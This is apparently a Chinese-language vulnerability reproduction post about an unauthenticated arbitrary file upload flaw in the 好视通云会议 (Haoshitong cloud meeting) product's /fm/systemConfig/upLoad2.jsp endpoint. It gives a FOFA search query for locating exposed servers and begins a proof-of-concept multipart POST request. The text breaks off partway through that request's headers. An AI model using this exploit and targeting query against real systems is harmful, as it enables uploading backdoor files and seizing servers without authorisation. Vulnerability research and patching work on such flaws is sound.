好视通云会议 upLoad2.jsp 任意文件上传漏洞复现

0x01 产品简介

   好视通云会议是基于 Internet 的网络视频会议产品，用户使用好视通云会议可以实现多人音视频交流、文字聊天、共享文档、共享屏幕等，会议的管理者可以控制其他参会人的各种权限，可以将会议录制成视频，对会场进行点名等。

0x02 漏洞概述

 好视通云会议/fm/systemConfig/upLoad2.jsp接口处存在任意文件上传漏洞，未经身份认证的攻击者可以通过此漏洞上传恶意后门文件，最终可获取服务器权限。

0x03 复现环境

FOFA：app="好视通-云会议"

0x04 漏洞复现 

PoC

POST /fm/systemConfig/upLoad2.jsp HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=1515df1sdfdsfddfs
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Ver